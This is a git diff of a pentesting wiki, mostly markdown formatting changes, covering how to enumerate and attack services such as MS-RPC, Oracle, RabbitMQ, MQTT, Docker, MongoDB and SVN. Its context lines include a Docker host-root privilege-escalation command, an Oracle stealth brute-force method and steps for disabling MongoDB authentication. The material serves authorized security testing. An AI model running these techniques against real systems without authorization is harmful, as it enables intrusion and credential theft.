SMB) +* ncacn_http (RPC over HTTP via TCP port 80, 593, and others) ```bash use auxiliary/scanner/dcerpc/endpoint_mapper @@ -63,22 +63,22 @@ _Note that from the mentioned options all except of **`tcp_dcerpc_auditor`** can #### Notable RPC interfaces -| **IFID value** | **Named pipe** | **Description** | -| :--- | :--- | :--- | -| 12345778-1234-abcd-ef00-0123456789ab | \pipe\lsarpc | LSA interface, used to enumerate users | -| 3919286a-b10c-11d0-9ba8-00c04fd92ef5 | \pipe\lsarpc | LSA Directory Services \(DS\) interface, used to enumerate domains and trust relationships | -| 12345778-1234-abcd-ef00-0123456789ac | \pipe\samr | LSA SAMR interface, used to access public SAM database elements \(e.g., usernames\) and brute-force user passwords regardless of account lockout policy [Oreilly library](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#idm139659172852688) | -| 1ff70682-0a51-30e8-076d-740be8cee98b | \pipe\atsvc | Task scheduler, used to remotely execute commands | -| 338cd001-2244-31f1-aaaa-900038001003 | \pipe\winreg | Remote registry service, used to access the system registry | -| 367abb81-9844-35f1-ad32-98f038001003 | \pipe\svcctl | Service control manager and server services, used to remotely start and stop services and execute commands | -| 4b324fc8-1670-01d3-1278-5a47bf6ee188 | \pipe\srvsvc | Service control manager and server services, used to remotely start and stop services and execute commands | -| 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 | \pipe\epmapper | DCOM interface, supporting WMI | +| **IFID value** | **Named pipe** | **Description** | +| ------------------------------------ | -------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| 12345778-1234-abcd-ef00-0123456789ab | \pipe\lsarpc | LSA interface, used to enumerate users | +| 3919286a-b10c-11d0-9ba8-00c04fd92ef5 | \pipe\lsarpc | LSA Directory Services (DS) interface, used to enumerate domains and trust relationships | +| 12345778-1234-abcd-ef00-0123456789ac | \pipe\samr | LSA SAMR interface, used to access public SAM database elements (e.g., usernames) and brute-force user passwords regardless of account lockout policy [Oreilly library](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#idm139659172852688) | +| 1ff70682-0a51-30e8-076d-740be8cee98b | \pipe\atsvc | Task scheduler, used to remotely execute commands | +| 338cd001-2244-31f1-aaaa-900038001003 | \pipe\winreg | Remote registry service, used to access the system registry | +| 367abb81-9844-35f1-ad32-98f038001003 | \pipe\svcctl | Service control manager and server services, used to remotely start and stop services and execute commands | +| 4b324fc8-1670-01d3-1278-5a47bf6ee188 | \pipe\srvsvc | Service control manager and server services, used to remotely start and stop services and execute commands | +| 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 | \pipe\epmapper | DCOM interface, supporting WMI | ### Identifying IP addresses Using [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), comes from [Airbus research](https://airbus-cyber-security.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/) is possible to abuse the _**ServerAlive2**_ method inside the _**IOXIDResolver**_ interface. -This method has been used to get interface information as **IPv6** address from the HTB box _APT_. See [here](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) for 0xdf APT writeup, it includes an alternative method using rpcmap.py from [Impacket](https://github.com/SecureAuthCorp/impacket/) with _stringbinding_ \(see above\). +This method has been used to get interface information as **IPv6** address from the HTB box _APT_. See [here](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) for 0xdf APT writeup, it includes an alternative method using rpcmap.py from [Impacket](https://github.com/SecureAuthCorp/impacket/) with _stringbinding_ (see above). References: @@ -88,4 +88,3 @@ References: ## Port 593 The **rpcdump.exe** from [rpctools](https://resources.oreilly.com/examples/9780596510305/tree/master/tools/rpctools) can interact with this port. - diff --git a/pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md b/pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md index c5fa5203..a2cecca9 100644 --- a/pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md +++ b/pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md @@ -1,8 +1,8 @@ # Oracle Pentesting requirements installation -## Installation of tools \(sqlplus\) and needed libraries to use the oracle MSF modules +## Installation of tools (sqlplus) and needed libraries to use the oracle MSF modules -_\(This installation guide was created for version 12.1.0.1.0, change that name for the version that you download\)_ +_(This installation guide was created for version 12.1.0.1.0, change that name for the version that you download)_ As root, create the directory `/opt/oracle`. Then download the [Oracle Instant Client](http://www.oracle.com/technetwork/database/features/instant-client/index-097480.html) packages for your version of Kali Linux. The packages you will need are: @@ -12,7 +12,7 @@ As root, create the directory `/opt/oracle`. Then download the [Oracle Instant C Unzip these under `/opt/oracle`, and you should now have a path called `/opt/oracle/instantclient_12_1/`. Next symlink the shared library that we need to access the library from oracle: -```text +``` # ln libclntsh.so.12.1 libclntsh.so # ls -lh libclntsh.so lrwxrwxrwx 1 root root 17 Jun 1 15:41 libclntsh.so -> libclntsh.so.12.1 @@ -21,10 +21,10 @@ lrwxrwxrwx 1 root root 17 Jun 1 15:41 libclntsh.so -> libclntsh.so.12.1 You also need to configure the appropriate environment variables, add the following to either -* ~/.bashrc +* \~/.bashrc * /etc/profile -```text +``` export PATH=$PATH:/opt/oracle/instantclient_12_1 export SQLPATH=/opt/oracle/instantclient_12_1 export TNS_ADMIN=/opt/oracle/instantclient_12_1 @@ -34,13 +34,13 @@ export ORACLE_HOME=/opt/oracle/instantclient_12_1 Add Oracle libraries to ldconfig: -```text +``` echo "/opt/oracle/instantclient_12_1/" >> /etc/ld.so.conf.d/99_oracle ``` -If you have succeeded, you should be able to run `sqlplus` from a command prompt **\(you may need to log out and log back in again\)**: +If you have succeeded, you should be able to run `sqlplus` from a command prompt** (you may need to log out and log back in again)**: -```text +``` sqlplus /@/; ``` @@ -50,23 +50,22 @@ _These steps are needed to use metasploit oracle modules_ **Install other OS dependencies:** -```text +``` apt-get install libgmp-dev ``` -**Compile and install ruby-oci8 \(root\)** +**Compile and install ruby-oci8 (root)** -```text +``` wget https://github.com/kubo/ruby-oci8/archive/ruby-oci8-2.1.8.zip unzip ruby-oci8-2.1.8.zip cd ruby-oci8-ruby-oci8-2.1.8/ ``` -```text +``` make make install gem install ruby-oci8 ``` -Restart msfconsole \(or restart the computer\). - +Restart msfconsole (or restart the computer). diff --git a/pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md b/pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md index c33b6e3a..dcb42b0d 100644 --- a/pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md +++ b/pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md @@ -5,23 +5,23 @@ **The versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, and 11.2.0.3 are vulnerable** to this technique. In order to understand the idea behind this vulnerability, you need to consider how the authentication protocol works with the database. I will show it for version 11. The interaction with the server proceeds as follows: 1. The client connects to the server and sends the user name. -2. The server generates a session identifier \(‘AUTH\_SESSKEY’\) and encrypts it by using AES-192. As its key, the system uses SHA-1 hash generated from user password and salt \(‘AUTH\_VFR\_DATA’\). +2. The server generates a session identifier (‘AUTH_SESSKEY’) and encrypts it by using AES-192. As its key, the system uses SHA-1 hash generated from user password and salt (‘AUTH_VFR_DATA’). 3. The server sends an encrypted session ID and salt to the client. 4. The client generates the key by hashing its password and received salt. The client uses this key to decrypt the session data received from the server. 5. Based on decrypted server session ID, the client generates a new public key for future use. -Now, here’s the most interesting part: The session ID ‘AUTH\_SESSKEY’ sent by the server to the client has a length of 48 bytes. Of these, 40 bytes are random, and the last 8 are the duplicates of ‘0x08’. The initialization vector is 0x00 \(Null\). -Knowing that the last 8 bytes of the public identifier always consist of ‘0x08’, we can bruteforce this password and, moreover, do it in offline mode, which means a tremendous speed, especially if you use GPU. To mount an attack, you need to know SID, valid login \(for example, ‘SYS’ account is very interesting\) and, of course, have the ability to connect to the database. In this case, there will be no records, such as ‘Invalid Login Attempt’, created in the Oracle audit logs! +Now, here’s the most interesting part: The session ID ‘AUTH_SESSKEY’ sent by the server to the client has a length of 48 bytes. Of these, 40 bytes are random, and the last 8 are the duplicates of ‘0x08’. The initialization vector is 0x00 (Null).\ +Knowing that the last 8 bytes of the public identifier always consist of ‘0x08’, we can bruteforce this password and, moreover, do it in offline mode, which means a tremendous speed, especially if you use GPU. To mount an attack, you need to know SID, valid login (for example, ‘SYS’ account is very interesting) and, of course, have the ability to connect to the database. In this case, there will be no records, such as ‘Invalid Login Attempt’, created in the Oracle audit logs! Summing it all up: -1. Use Wireshark to **intercept** the **initial traffic** during **authorization**. This will be helped by ‘tns’ filter. -2. Extract **HEX values for AUTH\_SESSKEY, AUTH\_VFR\_DATA**. -3. Insert them into ****[**PoC script**](https://www.exploit-db.com/exploits/22069), which will perform a dictionary \(brute force\) attack. +1. Use Wireshark to **intercept **the **initial traffic **during **authorization**. This will be helped by ‘tns’ filter. +2. Extract** HEX values for AUTH_SESSKEY, AUTH_VFR_DATA**. +3. Insert them into** **[**PoC script**](https://www.exploit-db.com/exploits/22069), which will perform a dictionary (brute force) attack. ### Using nmap and john -```text +``` root@kali:~# nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 Starting Nmap 6.49BETA4 (https://nmap.org) at 2016-03-02 14:58 EST @@ -38,4 +38,3 @@ PORT STATE SERVICE john hashes.txt ``` - diff --git a/pentesting/15672-pentesting-rabbitmq-management.md b/pentesting/15672-pentesting-rabbitmq-management.md index c29e6946..99450ed3 100644 --- a/pentesting/15672-pentesting-rabbitmq-management.md +++ b/pentesting/15672-pentesting-rabbitmq-management.md @@ -2,11 +2,11 @@ ## Basic Information -You can learn more about RabbitMQ in [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md). -In this port you may find the RabbitMQ Management web console if the [management plugin](https://www.rabbitmq.com/management.html) is enabled. +You can learn more about RabbitMQ in [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md).\ +In this port you may find the RabbitMQ Management web console if the [management plugin](https://www.rabbitmq.com/management.html) is enabled.\ The main page should looks like this: -![](../.gitbook/assets/image%20%288%29.png) +![](<../.gitbook/assets/image (270).png>) ## Enumeration @@ -14,18 +14,18 @@ The default credentials are "_**guest**_":"_**guest**_". If they aren't working To manually start this module you need to execute: -```text +``` rabbitmq-plugins enable rabbitmq_management service rabbitmq-server restart ``` Once you have correctly authenticated you will see the admin console: -![](../.gitbook/assets/image%20%2883%29.png) +![](<../.gitbook/assets/image (271).png>) Also, if you have valid credentials you may find interesting the information of `http://localhost:15672/api/connections` -Note also that it's possible to **publish data inside a queue** using the API of this service with a request like: +Note also that it's possible to** publish data inside a queue** using the API of this service with a request like: ```bash POST /api/exchanges/%2F/amq.default/publish HTTP/1.1 @@ -41,4 +41,3 @@ Content-Length: 267 ### Shodan * `port:15672 http` - diff --git a/pentesting/1883-pentesting-mqtt-mosquitto.md b/pentesting/1883-pentesting-mqtt-mosquitto.md index 2bfbb4d2..91caa7b8 100644 --- a/pentesting/1883-pentesting-mqtt-mosquitto.md +++ b/pentesting/1883-pentesting-mqtt-mosquitto.md @@ -1,23 +1,23 @@ -# 1883 - Pentesting MQTT \(Mosquitto\) +# 1883 - Pentesting MQTT (Mosquitto) ## Basic Information -MQTT stands for MQ Telemetry Transport. It is a publish/subscribe, extremely simple and lightweight messaging protocol, designed for constrained devices and low-bandwidth, high-latency or unreliable networks. The design principles are to minimise network bandwidth and device resource requirements whilst also attempting to ensure reliability and some degree of assurance of delivery. These principles also turn out to make the protocol ideal of the emerging “machine-to-machine” \(M2M\) or “Internet of Things” world of connected devices, and for mobile applications where bandwidth and battery power are at a premium. +MQTT stands for MQ Telemetry Transport. It is a publish/subscribe, extremely simple and lightweight messaging protocol, designed for constrained devices and low-bandwidth, high-latency or unreliable networks. The design principles are to minimise network bandwidth and device resource requirements whilst also attempting to ensure reliability and some degree of assurance of delivery. These principles also turn out to make the protocol ideal of the emerging “machine-to-machine” (M2M) or “Internet of Things” world of connected devices, and for mobile applications where bandwidth and battery power are at a premium. **Default port:** 1883 -```text +``` PORT STATE SERVICE REASON 1883/tcp open mosquitto version 1.4.8 syn-ack ``` ## Pentesting MQTT -**Authentication is totally optional** and even if authentication is being performed, **encryption is not used by default** \(credentials are sent in clear text\). MITM attacks can still be executed to steal passwords. +**Authentication is totally optional **and even if authentication is being performed,** encryption is not used by default** (credentials are sent in clear text). MITM attacks can still be executed to steal passwords. To connect to a MQTT service you can use: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) and subscribe yourself to all the topics doing: -```text +``` > connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883) > subscribe "#" 1 > subscribe "$SYS/#" @@ -60,28 +60,27 @@ if __name__ == "__main__": from here: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b) -### The Publish/Subscribe Pattern +### The Publish/Subscribe Pattern The publish/subscribe model is composed of: -* **Publisher**: publishes a message to one \(or many\) topic\(s\) in the broker. -* **Subscriber**: subscribes to one \(or many\) topic\(s\) in the broker and receives all the messages sent from the publisher. +* **Publisher**: publishes a message to one (or many) topic(s) in the broker. +* **Subscriber**: subscribes to one (or many) topic(s) in the broker and receives all the messages sent from the publisher. * **Broker**: routes all the messages from the publishers to the subscribers. -* **Topic**: consists of one or more levels that are separated by a a forward slash \(e.g., /smartshouse/livingroom/temperature\). +* **Topic**: consists of one or more levels that are separated by a a forward slash (e.g., /smartshouse/livingroom/temperature). -![](https://miro.medium.com/max/60/1*sIxvchdgHSqAGebJjFHBAg.png?q=20)![](https://miro.medium.com/max/1073/1*sIxvchdgHSqAGebJjFHBAg.png)Figure 01: The Publish/Subscribe Model +![](https://miro.medium.com/max/60/1\*sIxvchdgHSqAGebJjFHBAg.png?q=20)![](https://miro.medium.com/max/1073/1\*sIxvchdgHSqAGebJjFHBAg.png)Figure 01: The Publish/Subscribe Model -### Packet Format +### Packet Format -Every MQTT packet contains a fixed header \(Figure 02\).Figure 02: Fixed Header +Every MQTT packet contains a fixed header (Figure 02).Figure 02: Fixed Header -![](https://miro.medium.com/max/838/1*k6RkAHEk0576geQGUcKSTA.png) +![](https://miro.medium.com/max/838/1\*k6RkAHEk0576geQGUcKSTA.png) The first field of the fixed header represents the type of the MQTT Packet. All packet types are listed in table 01.Table 01: MQTT Packet Types -![](https://miro.medium.com/max/1469/1*z0fhdUVzGa0PLikH_cyBmQ.png) +![](https://miro.medium.com/max/1469/1\*z0fhdUVzGa0PLikH_cyBmQ.png) ## Shodan * `port:1883 MQTT` - diff --git a/pentesting/2375-pentesting-docker.md b/pentesting/2375-pentesting-docker.md index 15968546..31c60153 100644 --- a/pentesting/2375-pentesting-docker.md +++ b/pentesting/2375-pentesting-docker.md @@ -10,11 +10,11 @@ The Docker Platform is the industry-leading container platform for continuous, h This info is from [here](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc). -* [containerd](http://containerd.io/) is a container runtime which can m**anage a complete container lifecycle - from image transfer/storage to container execution**, supervision and networking. **More information about containerd below.** +* [containerd](http://containerd.io) is a container runtime which can m**anage a complete container lifecycle - from image transfer/storage to container execution**, supervision and networking. **More information about containerd below.** * container-shim handle headless containers, meaning once runc initializes the containers, it exits handing the containers over to the container-shim which acts as some middleman. -* [runc](http://runc.io/) is lightweight universal run time container, which abides by the OCI specification. **runc is used by containerd for spawning and running containers according to OCI spec**. It is also the repackaging of libcontainer. -* [grpc](http://www.grpc.io/) used for communication between containerd and docker-engine. -* [OCI](https://www.opencontainers.org/) maintains the OCI specification for runtime and images. The current docker versions support OCI image and runtime specs. +* [runc](http://runc.io) is lightweight universal run time container, which abides by the OCI specification. **runc is used by containerd for spawning and running containers according to OCI spec**. It is also the repackaging of libcontainer. +* [grpc](http://www.grpc.io) used for communication between containerd and docker-engine. +* [OCI](https://www.opencontainers.org) maintains the OCI specification for runtime and images. The current docker versions support OCI image and runtime specs. ![runC, containerD](https://i.stack.imgur.com/5aXF6.png) @@ -67,19 +67,19 @@ ctr container delete ### Podman -**Info** [**from here**](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html#:~:text=What%20is%20Podman%3F,and%20support%20for%20rootless%20containers.)\*\*\*\* +**Info **[**from here**](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html#:\~:text=What%20is%20Podman%3F,and%20support%20for%20rootless%20containers.)**** -Podman is an open source, OCI \([Open Container Initiative](https://github.com/opencontainers)\) compliant container engine. It is driven by Red Hat and incorporates a few major differences from Docker, such as its daemonless architecture and support for rootless containers. At their core, **both tools do the same thing: manage images and containers**. One of **Podman’s objectives is to have a Docker-compatible API**. Hence almost all CLI \(command line interface\) commands from the Docker CLI are also available in Podman. +Podman is an open source, OCI ([Open Container Initiative](https://github.com/opencontainers)) compliant container engine. It is driven by Red Hat and incorporates a few major differences from Docker, such as its daemonless architecture and support for rootless containers. At their core, **both tools do the same thing: manage images and containers**. One of **Podman’s objectives is to have a Docker-compatible API**. Hence almost all CLI (command line interface) commands from the Docker CLI are also available in Podman. You may find two other tools in the Podman ecosystem: Buildah and Skopeo. Buildah is a CLI tool used to build container images, and Skopeo is a CLI tool for running operations on images, such as push, pull or inspect. [Please check out GitHub](https://github.com/containers/buildah/tree/master/docs/containertools) for more information on these tools and their relationship with Podman. **The major differences** -**The greatest difference between Docker and Podman is their architecture**. **Docker** runs on a **client-server** architecture, while **Podman** runs on a **daemonless** architecture. But what does that mean? When working with **Docker**, you have to use the Docker CLI, which communicates with a **background daemon** \(the Docker daemon\). The main logic resides in the daemon, which builds images and executes containers. This **daemon runs with root privileges**. The **Podman** architecture by contrast allows you to **run** the **containers under the user that is starting the container** \(fork/exec\), and this user does not need any root privileges. Because **Podman has a daemonless architecture, each user running Podman can only see and modify their own containers**. There is no common daemon that the CLI tool communicates with. +**The greatest difference between Docker and Podman is their architecture**. **Docker** runs on a **client-server** architecture, while **Podman **runs on a **daemonless **architecture. But what does that mean? When working with **Docker**, you have to use the Docker CLI, which communicates with a **background daemon **(the Docker daemon). The main logic resides in the daemon, which builds images and executes containers. This **daemon runs with root privileges**. The **Podman **architecture by contrast allows you to **run **the **containers under the user that is starting the container** (fork/exec), and this user does not need any root privileges. Because **Podman has a daemonless architecture, each user running Podman can only see and modify their own containers**. There is no common daemon that the CLI tool communicates with. Since Podman does not have a daemon, it needs a way to support running containers in the background. It therefore provides an integration with **systemd**, which allows containers to be controlled via systemd units. Depending on the Podman version, you can generate these units for existing containers or generate units that are able to create containers if they do not exist in the system. There is another integration model with systemd, which enables systemd to run inside a container. By default, Docker uses systemd to control the daemon process. -The second major difference concerns how containers are executed. With **Podman**, **containers are executed under the user’s privileges and not under the daemon**. At this point, the concept of rootless containers comes into play, meaning that the container can be started without root privileges. Rootless containers have a huge advantage over rootful containers since \(you guessed it\) they do not run under the root account. The benefit of this is that if an attacker is able to capture and escape a container, this attacker is still a normal user on the host. Containers that are started by a user cannot have more privileges or capabilities than the user itself. This adds a natural layer of protection. +The second major difference concerns how containers are executed. With **Podman**, **containers are executed under the user’s privileges and not under the daemon**. At this point, the concept of rootless containers comes into play, meaning that the container can be started without root privileges. Rootless containers have a huge advantage over rootful containers since (you guessed it) they do not run under the root account. The benefit of this is that if an attacker is able to capture and escape a container, this attacker is still a normal user on the host. Containers that are started by a user cannot have more privileges or capabilities than the user itself. This adds a natural layer of protection. {% hint style="info" %} Note that as podam aims to support the same API as docker, you can use the same commands with podman as with docker such as: @@ -94,11 +94,11 @@ podman ls ## Basic Information -Remote API is running by default on 2375 port when enabled. The service by default will not require authentication allowing an attacker to start a privileged docker container. By using the Remote API one can attach hosts / \(root directory\) to the container and read/write files of the host’s environment. +Remote API is running by default on 2375 port when enabled. The service by default will not require authentication allowing an attacker to start a privileged docker container. By using the Remote API one can attach hosts / (root directory) to the container and read/write files of the host’s environment. **Default port:** 2375 -```text +``` PORT STATE SERVICE 2375/tcp open docker ``` @@ -145,10 +145,10 @@ Server: Docker Engine - Community GitCommit: fec3683 ``` -If you can **contact the remote docker API with the `docker` command** you can **execute** any of the **docker** [**commands previously** commented](2375-pentesting-docker.md#basic-commands) to interest with the service. +If you can **contact the remote docker API with the `docker` command** you can **execute **any of the **docker **[**commands previously **commented](2375-pentesting-docker.md#basic-commands) to interest with the service. {% hint style="info" %} -You can `export DOCKER_HOST="tcp://localhost:2375"` and **avoid** using the `-H` parameter with the docker command +You can `export DOCKER_HOST="tcp://localhost:2375"` and **avoid **using the `-H` parameter with the docker command {% endhint %} #### Fast privilege escalation @@ -159,7 +159,7 @@ docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash #### Curl -Sometimes you’ll see **2376** up for the **TLS** endpoint. I haven’t been able to connect to it with the docker client but you can with curl no problem to hit the docker API. +Sometimes you’ll see **2376 **up for the **TLS **endpoint. I haven’t been able to connect to it with the docker client but you can with curl no problem to hit the docker API. ```bash #List containers @@ -204,7 +204,9 @@ nmap -sV --script "docker-*" -p In the following page you can find ways to **escape from a docker container**: -{% page-ref page="../linux-unix/privilege-escalation/docker-breakout.md" %} +{% content-ref url="../linux-unix/privilege-escalation/docker-breakout/" %} +[docker-breakout](../linux-unix/privilege-escalation/docker-breakout/) +{% endcontent-ref %} Abusing this it's possible to escape form a container, you could run a weak container in the remote machine, escape from it, and compromise the machine: @@ -226,7 +228,7 @@ docker ps [| grep ] docker inspect ``` -Check **env** \(environment variable section\) for secrets and you may find: +Check **env** (environment variable section) for secrets and you may find: * Passwords. * Ip’s. @@ -264,29 +266,29 @@ docker cp :/etc/ * You can use the tool [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) to **inspect your Dockerfile** and find all kinds of misconfigurations. Each misconfiguration will be given an ID, you can find here [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) how to fix each of them. * `dockerfilelinter -f Dockerfile` -![](../.gitbook/assets/image%20%28411%29.png) +![](<../.gitbook/assets/image (418).png>) * You can use the tool [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) to **inspect your Dockerfile** and find all kinds of misconfigurations. * `dockerfilelint Dockerfile` -![](../.gitbook/assets/image%20%28412%29.png) +![](<../.gitbook/assets/image (419).png>) * You can use the tool [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) to **inspect your Dockerfile** and find all kinds of misconfigurations. * `dockerlint Dockerfile` -![](../.gitbook/assets/image%20%28410%29.png) +![](<../.gitbook/assets/image (420).png>) * You can use the tool [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) to **inspect your Dockerfile** and find all kinds of misconfigurations. * `hadolint Dockerfile` -![](../.gitbook/assets/image%20%28424%29.png) +![](<../.gitbook/assets/image (421).png>) ### Logging Suspicious activity * You can use the tool [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) to detect **suspicious behaviour in running containers**. * Note in the following chunk how **Falco compiles a kernel module and insert it**. After that, it loads the rules and **start logging suspicious activities**. In this case it has detected 2 privileged containers started, 1 of them with a sensitive mount, and after some seconds it detected how a shell was opened inside one of the containers. -```text +``` docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco * Setting up /usr/src links from host * Unloading falco-probe, if present @@ -330,4 +332,3 @@ falco-probe found and loaded in dkms ### Monitoring Docker You can use auditd to monitor docker. - diff --git a/pentesting/27017-27018-mongodb.md b/pentesting/27017-27018-mongodb.md index 5aeb3ff7..d55ae409 100644 --- a/pentesting/27017-27018-mongodb.md +++ b/pentesting/27017-27018-mongodb.md @@ -2,11 +2,11 @@ ## Basic Information -MongoDB is an [open source](https://whatis.techtarget.com/definition/open-source) database management system \(DBMS\) that uses a document-oriented database model which supports various forms of data. \(From [here](https://searchdatamanagement.techtarget.com/definition/MongoDB)\) +MongoDB is an [open source](https://whatis.techtarget.com/definition/open-source) database management system (DBMS) that uses a document-oriented database model which supports various forms of data. (From [here](https://searchdatamanagement.techtarget.com/definition/MongoDB)) **Default port:** 27017, 27018 -```text +``` PORT STATE SERVICE VERSION 27017/tcp open mongodb MongoDB 2.6.9 2.6.9 ``` @@ -54,7 +54,7 @@ nmap -sV --script "mongo* and default" -p 27017 #By default all the nmap mo ## Login -By default mongo does not require password. +By default mongo does not require password.\ **Admin** is a common mongo database. ```bash @@ -64,13 +64,13 @@ mongo :/ mongo -u -p '' ``` -The nmap script: _**mongodb-brute**_ will check if creds are needed. +The nmap script: _**mongodb-brute **_will check if creds are needed. ```bash nmap -n -sV --script mongodb-brute -p 27017 ``` -### [**Brute force**](../brute-force.md#mongo)\*\*\*\* +### [**Brute force**](../brute-force.md#mongo)**** Look inside _/opt/bitnami/mongodb/mongodb.conf_ to know if credentials are needed: @@ -83,7 +83,7 @@ grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not Mongo Object IDs are **12-byte hexadecimal** strings: -![](../.gitbook/assets/id-and-objectids-in-mongodb.png) +![](../.gitbook/assets/id-and-ObjectIds-in-MongoDB.png) For example, here’s how we can dissect an actual Object ID returned by an application: 5f2459ac9fa6dc2500314019 @@ -94,11 +94,9 @@ For example, here’s how we can dissect an actual Object ID returned by an appl Of the above elements, machine identifier will remain the same for as long as the database is running the same physical/virtual machine. Process ID will only change if the MongoDB process is restarted. Timestamp will be updated every second. The only challenge in guessing Object IDs by simply incrementing the counter and timestamp values, is the fact that Mongo DB generates Object IDs and assigns Object IDs at a system level. -The tool [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict), given a starting Object ID \(you can create an account and get a starting ID\), it sends back about 1000 probable Object IDs that could have possibly been assigned to the next objects, so you just need to bruteforce them. +The tool [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict), given a starting Object ID (you can create an account and get a starting ID), it sends back about 1000 probable Object IDs that could have possibly been assigned to the next objects, so you just need to bruteforce them. ## Post -If you are root you can **modify** the **mongodb.conf** file so no credentials are needed \(_noauth = true_\) and **login without credentials**. - - +If you are root you can **modify** the **mongodb.conf** file so no credentials are needed (_noauth = true_) and **login without credentials**. diff --git a/pentesting/3632-pentesting-distcc.md b/pentesting/3632-pentesting-distcc.md index 322ee45f..6ca91057 100644 --- a/pentesting/3632-pentesting-distcc.md +++ b/pentesting/3632-pentesting-distcc.md @@ -4,9 +4,9 @@ Distcc is designed to speed up compilation by taking advantage of unused processing power on other computers. A machine with distcc installed can send code to be compiled across the network to a computer which has the distccd daemon and a compatible compiler installed -**Default port:** 3632 +**Default port: **3632 -```text +``` PORT STATE SERVICE 3632/tcp open distccd ``` @@ -26,8 +26,7 @@ _I don't think shodan detects this service._ ## Resources -* [https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec](https://www.rapid7.com/db/modules/exploit/unix/misc/distcc_exec) +* [https://www.rapid7.com/db/modules/exploit/unix/misc/distcc_exec](https://www.rapid7.com/db/modules/exploit/unix/misc/distcc_exec) * [https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855](https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855) -Post created by **Álex B \(@r1p\)** - +Post created by **Álex B (@r1p)** diff --git a/pentesting/3690-pentesting-subversion-svn-server.md b/pentesting/3690-pentesting-subversion-svn-server.md index d43d4a0b..2fc24ddb 100644 --- a/pentesting/3690-pentesting-subversion-svn-server.md +++ b/pentesting/3690-pentesting-subversion-svn-server.md @@ -1,20 +1,20 @@ -# 3690 - Pentesting Subversion \(svn server\) +# 3690 - Pentesting Subversion (svn server) ## Basic Information -Subversion is one of many version control options available today. It's often abbreviated as SVN. +Subversion is one of many version control options available today. It's often abbreviated as SVN.\ Subversion is used for maintaining current and historical versions of projects. Subversion is an open source centralized version control system. It's licensed under Apache. It's also referred to as a software version and revisioning control system. -**Default port:** 3690 +**Default port: **3690 -```text +``` PORT STATE SERVICE 3690/tcp open svnserve Subversion ``` ### Banner Grabbing -```text +``` nc -vn 10.10.10.10 3690 ``` @@ -26,4 +26,3 @@ svn log svn://10.10.10.203 #Commit history svn checkout svn://10.10.10.203 #Download the repository svn up -r 2 #Go to revision 2 inside the checkout folder ``` - diff --git a/pentesting/43-pentesting-whois.md b/pentesting/43-pentesting-whois.md index 31b6e322..2b294e41 100644 --- a/pentesting/43-pentesting-whois.md +++ b/pentesting/43-pentesting-whois.md @@ -2,11 +2,11 @@ ## Basic Information -**WHOIS** \(pronounced as the phrase "who is"\) is a query and response protocol that is widely used for querying databases that store the registered users or assignees of an Internet resource, such as a domain name, an IP address block or an autonomous system, but is also used for a wider range of other information. \(From [here](https://en.wikipedia.org/wiki/WHOIS)\) +**WHOIS** (pronounced as the phrase "who is") is a query and response protocol that is widely used for querying databases that store the registered users or assignees of an Internet resource, such as a domain name, an IP address block or an autonomous system, but is also used for a wider range of other information. (From [here](https://en.wikipedia.org/wiki/WHOIS)) **Default port:** 43 -```text +``` PORT STATE SERVICE 43/tcp open whois? ``` @@ -22,7 +22,7 @@ echo "domain.ltd" | nc -vn Notice than sometimes when requesting for some information to a WHOIS service the database being used appears in the response: -![](../.gitbook/assets/image%20%28269%29.png) +![](<../.gitbook/assets/image (147).png>) Also, the WHOIS service always needs to use a **database** to store and extract the information. So, a possible **SQLInjection** could be present when 